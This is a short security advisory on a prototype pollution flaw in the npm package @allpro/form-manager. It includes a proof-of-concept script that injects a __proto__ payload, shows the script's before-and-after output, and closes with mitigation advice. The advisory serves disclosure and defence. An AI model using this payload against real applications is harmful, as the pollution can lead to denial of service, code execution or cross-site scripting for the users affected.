The module is vulenrable via setDefaults (form-manager/cjs/index.js:1299), mergeBranch (form-manager/cjs/index.js:1249), and Object.setObjectValue (form-manager/cjs/index.js:1536). In all these implementations, the assignment of the property from source to destination occurred without proper protection.
An attacker can be exploit this method to copy malicious property to the built-in Object.prototype through the special properties __proto__ or constructor.prototype.
Thus, the attacker can use one of these properties to pollute the application logic that can be escalated to Denial of service,
remote code execution or cross-site scripting attacks.
(async () => {
const lib = await import('@allpro/form-manager');
var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
// uncomment one at a time
lib.default.defaultsDeep ({}, BAD_JSON)
//lib.default.merge ({}, BAD_JSON)
//lib.default.setObjectValue ({}, "__proto__.polluted", true)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();
Output:
Before Attack: {}
After Attack: {"polluted":true}Output of a successful fix:
Before Attack: {}
After Attack: {}No updates were provided by the maintainer. Users of this module are urged to implement proper santization and validation over user's supplied inputs, such as blocking inputs containing __proto__ and contructor.prototype